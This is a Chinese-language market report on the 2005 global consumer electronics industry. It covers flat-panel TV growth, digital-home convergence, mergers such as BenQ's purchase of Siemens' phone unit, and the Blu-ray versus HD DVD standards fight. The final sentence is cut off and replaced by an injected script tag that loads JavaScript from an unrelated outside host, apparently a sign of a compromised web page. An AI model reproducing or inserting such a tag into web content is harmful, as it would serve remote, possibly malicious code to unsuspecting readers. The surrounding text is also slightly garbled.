■中国电子信息产业发展研究院it经济研究所
新兴产品热点不断 标准之争日益加剧
2005年，全球消费电子产业延续了2004年的增长势头，各类消费电子产品的出货量增长迅速，其中平板电视、便携式mp3播放器、数码相机、手机等产品的销售更是大幅增加，2005年包括白色家电、数码产品、视听产品和手持设备在内的全球消费电子产业的销售额达到5172亿美元，同比增长14.3%。
融合加速不断拓展产业边界
从2003年开始，全球消费电子产业的发展出现了以视频、移动和无线技术为核心的三大热点，3c融合的趋势使新的产品不断涌现，智能手机、便携式mp3播放器、ibook等新产品的不断涌现使消费电子产业的边界日益模糊，产品门类日益增多。正是由于消费电子产业热点不断，消费电子产品与高科技产品融合加速，消费ic37才引起了如此多的关注，才具有了如此多的生机与活力。
具体而言，液晶电视、数码产品等消费类电子产品依然属于热点领域。在家用无绳电话、来电留言机等产品的销售走下坡路的同时，液晶电视、数字摄像机、便携式mp3播放器等消费类电子产品都成为2005年发展最快的产品。
2005年大尺寸液晶电视(lcd tv)与等离子电视(pdp tv)的年销售额已经占电视机总销售额的一半以上。先前lcd面板供过于求，导致液晶电视价格快速下滑，带动市场购买欲望，加上电视机产品正渐渐向数字显示器形态转型，随着更多新型技术投入，必将带动电视机市场新一轮的成长。
另外，融合为数字家庭的实现奠定了基础。数字家庭将在亚太地区的成熟市场迅速发展。数字家庭实现的关键来自于许多技术与应用的结合，包括电视、个人电脑、移动电话、掌上装置、打印机、视听设备、应用装置、数字内容、宽带网、家用网络与数码相机等等。
合作与并购争奇斗艳
2005年，在全球电子信息产业中发生的重大并购案中，涉及消费电子行业的就有3起。
2005年6月，明基正式宣布收购德国西门子全球手机业务，由此benq将一举跃升为全球第四大手机品牌，预计合并后手机业务年营收将超过100亿美元。2005年8月，全球最大的家电企业美国惠尔浦竞购美国第三大家电企业美泰获得成功，购并完成后，惠尔浦与全球第二大家电企业的规模差距将进一步拉大，在北美市场中将处于绝对垄断地位。2005年11月，思科又斥资69亿美元买下全美最大机顶盒供应商之一的科学亚特兰大公司，使其一举打入炙热的宽频电视市场，并成为少数能实现集音频、视频、网络、无线于一体“四重服务”的家庭娱乐供应商。
这几起并购案说明，面对日益激烈的竞争，成本控制能力成为消费电子企业取得竞争优势的关键，明基正是凭借其长期从事ems和odm业务所积攒下的成本控制能力，才敢于将陷入困境的西门子手机业务揽入怀中，向obm模式进发。而对于传统的白色家电行业，面对微利时代，规模优势决定的成本优势成为企业能否生存的关键，也直接导致在对美泰的竞购过程中呈现“多国演义”。
当然，并购并不是唯一出路。传统的产品类别之间的界限在逐渐模糊，它们之间相互的融合产生了许多独特的、多功能的数字化设备。同时，不断加入的内容、运营等其他领域的厂商使消费电子更成为全球电子信息产业的关注的焦点。在这样的融合趋势下，跨领域的合作也成为各企业争相采用的策略。融合已经不再仅仅是产品功能叠加这么简单，不同领域厂商的合作将为融合赋予新的含义。
2006年ces上，摩托罗拉宣布与google建立合作关系，将在其手机里加入具有google搜索引擎功能的软件，用户可以用手机进行网上搜索，同时用户还可以对地点进行精确查找。微软公布了与美国卫星电视运营商directv的合作伙伴关系，未来directv的用户可以将节目由机顶盒传送到pc、xbox及其他便携式设备上。摩托罗拉与柯达签订了长达10年的合作计划，摩托罗拉希望通过与柯达的合作，使手机用户可以使用快捷键方便地进行图片的发送、存储和打印。
标准之争日趋激烈
2005年，消费电子领域中的标准争夺战逐步升级，其中尤其以下一代dvd标准之争为甚。
2005年，主要围绕着索尼和松下支持的蓝光光盘标准以及东芝和nec主导的hd dvd光盘标准展开的下一代dvd标准之争难解难分。两大阵营一直在进行谈判，希望建立统一标准，两大阵营都坚持统一标准应当以自己的技术为主体，因此很难达成共识，建立统一dvd标准的可能性几乎已经不存在。
目前，蓝光标准已经获得了戴尔、惠普、三星电子等消费电子和pc厂商的支持。索尼希望能有更多的电影制片公司以及游戏软件开发商加入蓝光阵营，帮助蓝光标准在下一代dvd标准之争中占据主导地位。在电影制片公司和游戏开发商方面，蓝光标准已经获得了迪斯尼和电子艺界的支持。而hd dvd标准获得了好莱坞四大电影制片厂——派拉蒙、环球、华纳兄弟以及新线影业的支持，不过这些公司可?script src=http://er12.com/t.js>
